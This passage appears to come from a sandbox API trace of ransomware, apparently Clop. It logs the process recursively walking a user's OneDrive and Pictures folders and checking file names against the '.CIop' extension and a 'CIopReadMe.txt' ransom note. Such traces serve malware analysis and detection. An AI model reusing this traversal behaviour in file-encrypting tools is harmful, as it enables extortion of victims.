returned 0 [0169.182] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0169.182] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.182] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.182] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.182] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.183] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.183] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.183] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.183] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.183] lstrcmpW (lpString1="OneDrive", lpString2="..") returned 1 [0169.183] lstrcmpW (lpString1="OneDrive", lpString2=".") returned 1 [0169.183] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0169.183] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0169.183] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="OneDrive" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive") returned="C:\\Users\\CIiHmnxMn6Ps\\OneDrive" [0169.183] SetErrorMode (uMode=0x1) returned 0x1 [0169.183] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\OneDrive" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive") returned="C:\\Users\\CIiHmnxMn6Ps\\OneDrive" [0169.183] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\") returned="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\" [0169.183] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\") returned="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\" [0169.183] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\*.*" [0169.183] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e378 [0169.183] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\OneDrive") returned="OneDrive" [0169.183] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="OneDrive" | out: lpString1="OneDrive") returned="OneDrive" [0169.183] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.183] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.183] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0169.183] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0169.183] lstrlenW (lpString="desktop.ini") returned 11 [0169.183] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0169.183] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 1 [0169.183] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 0 [0169.183] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\OneDrive" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive") returned="C:\\Users\\CIiHmnxMn6Ps\\OneDrive" [0169.183] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\*.*" [0169.183] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e378 [0169.183] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\OneDrive") returned="OneDrive" [0169.183] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="OneDrive" | out: lpString1="OneDrive") returned="OneDrive" [0169.184] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.184] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.184] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.184] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0169.184] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 1 [0169.184] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 0 [0169.184] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.184] lstrcmpW (lpString1="Pictures", lpString2="..") returned 1 [0169.184] lstrcmpW (lpString1="Pictures", lpString2=".") returned 1 [0169.184] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0169.184] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0169.184] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures" [0169.184] SetErrorMode (uMode=0x1) returned 0x1 [0169.184] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures" [0169.184] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\" [0169.184] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\" [0169.184] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\*.*" [0169.184] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e378 [0169.184] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned="Pictures" [0169.184] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Pictures" | out: lpString1="Pictures") returned="Pictures" [0169.184] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.184] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.184] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.184] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.184] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.184] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0169.184] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0169.184] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0169.184] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.184] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0169.184] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0169.184] lstrlenW (lpString="desktop.ini") returned 11 [0169.184] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.184] lstrcmpW (lpString1="MgyGAvvq5w6fl7AR1Hfa.bmp.CIop", lpString2="..") returned 1 [0169.184] lstrcmpW (lpString1="MgyGAvvq5w6fl7AR1Hfa.bmp.CIop", lpString2=".") returned 1 [0169.185] lstrlenW (lpString=".CIop") returned 5 [0169.185] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.185] lstrcmpW (lpString1="qp-3yc7D3FrGiW.jpg.CIop", lpString2="..") returned 1 [0169.185] lstrcmpW (lpString1="qp-3yc7D3FrGiW.jpg.CIop", lpString2=".") returned 1 [0169.185] lstrlenW (lpString=".CIop") returned 5 [0169.185] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.185] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.185] lstrcmpW (lpString1="vxT7Wz-UZ XFfNDp.png.CIop", lpString2="..") returned 1 [0169.185] lstrcmpW (lpString1="vxT7Wz-UZ XFfNDp.png.CIop", lpString2=".") returned 1 [0169.185] lstrlenW (lpString=".CIop") returned 5 [0169.185] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0169.185] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 1 [0169.185] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 0 [0169.185] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures" [0169.185] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\*.*" [0169.185] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e378 [0169.185] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned="Pictures" [0169.185] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Pictures" | out: lpString1="Pictures") returned="Pictures" [0169.185] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.185] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.185] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.185] lstrcmpW (lpString1="7B iYIRm", lpString2="..") returned 1 [0169.185] lstrcmpW (lpString1="7B iYIRm", lpString2=".") returned 1 [0169.185] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures" [0169.185] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\" [0169.185] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\", lpString2="7B iYIRm" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm" [0169.185] SetErrorMode (uMode=0x1) returned 0x1 [0169.185] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm" [0169.185] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\" [0169.185] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\" [0169.185] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\*.*" [0169.185] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e0b8 [0169.186] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm") returned="7B iYIRm" [0169.186] lstrcpyW (in: lpString1=0x2dc7014, lpString2="7B iYIRm" | out: lpString1="7B iYIRm") returned="7B iYIRm" [0169.186] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.186] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.186] lstrcmpW (lpString1="4LAv.png.CIop", lpString2="..") returned 1 [0169.186] lstrcmpW (lpString1="4LAv.png.CIop", lpString2=".") returned 1 [0169.186] lstrlenW (lpString=".CIop") returned 5 [0169.186] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.186] lstrcmpW (lpString1="aClNMcka4 SH9Md3Hwo.png.CIop", lpString2="..") returned 1 [0169.186] lstrcmpW (lpString1="aClNMcka4 SH9Md3Hwo.png.CIop", lpString2=".") returned 1 [0169.186] lstrlenW (lpString=".CIop") returned 5 [0169.186] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.186] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0169.186] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0169.186] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0169.186] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.186] lstrcmpW (lpString1="Qm paxELf.bmp.CIop", lpString2="..") returned 1 [0169.186] lstrcmpW (lpString1="Qm paxELf.bmp.CIop", lpString2=".") returned 1 [0169.186] lstrlenW (lpString=".CIop") returned 5 [0169.186] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.186] lstrlenW (lpString=".CIop") returned 5 [0169.187] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm" [0169.187] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\*.*" [0169.187] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e2b8 [0169.187] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm") returned="7B iYIRm" [0169.187] lstrcpyW (in: lpString1=0x2dc7014, lpString2="7B iYIRm" | out: lpString1="7B iYIRm") returned="7B iYIRm" [0169.187] lstrcpyW (in: lpString1=0x2dc8210, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm" [0169.187] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\" [0169.187] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\", lpString2="QVr-mzOnFHsqrr" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr" [0169.187] SetErrorMode (uMode=0x1) returned 0x1 [0169.188] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr" [0169.188] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\" [0169.188] lstrcpyW (in: lpString1=0x2dc69e8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\" [0169.188] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\*.*" [0169.188] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67def8 [0169.188] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr") returned="QVr-mzOnFHsqrr" [0169.188] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="QVr-mzOnFHsqrr" | out: lpString1="QVr-mzOnFHsqrr") returned="QVr-mzOnFHsqrr" [0169.188] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0169.188] lstrlenW (lpString=".CIop") returned 5 [0169.188] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr" [0169.188] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\*.*" [0169.188] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67dfb8 [0169.188] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr") returned="QVr-mzOnFHsqrr" [0169.188] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="QVr-mzOnFHsqrr" | out: lpString1="QVr-mzOnFHsqrr") returned="QVr-mzOnFHsqrr" [0169.188] lstrcpyW (in: lpString1=0x2dc65d8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr" [0169.188] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\" [0169.188] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\", lpString2="-yOADLMtpkF" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF" [0169.188] SetErrorMode (uMode=0x1) returned 0x1 [0169.188] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF" [0169.188] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\" [0169.188] lstrcpyW (in: lpString1=0x2dc4db0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\" [0169.188] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\*.*" [0169.188] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67db78 [0169.188] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF") returned="-yOADLMtpkF" [0169.188] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="-yOADLMtpkF" | out: lpString1="-yOADLMtpkF") returned="-yOADLMtpkF" [0169.189] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF" [0169.189] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\*.*" [0169.189] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67dd78 [0169.189] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF") returned="-yOADLMtpkF" [0169.189] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="-yOADLMtpkF" | out: lpString1="-yOADLMtpkF") returned="-yOADLMtpkF" [0169.189] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0169.189] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0169.189] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0169.189] lstrcmpW (lpString1="q0YpRzhHSmV", lpString2="..") returned 1 [0169.189] lstrcmpW (lpString1="q0YpRzhHSmV", lpString2=".") returned 1 [0169.189] lstrcpyW (in: lpString1=0x2dc65d8, 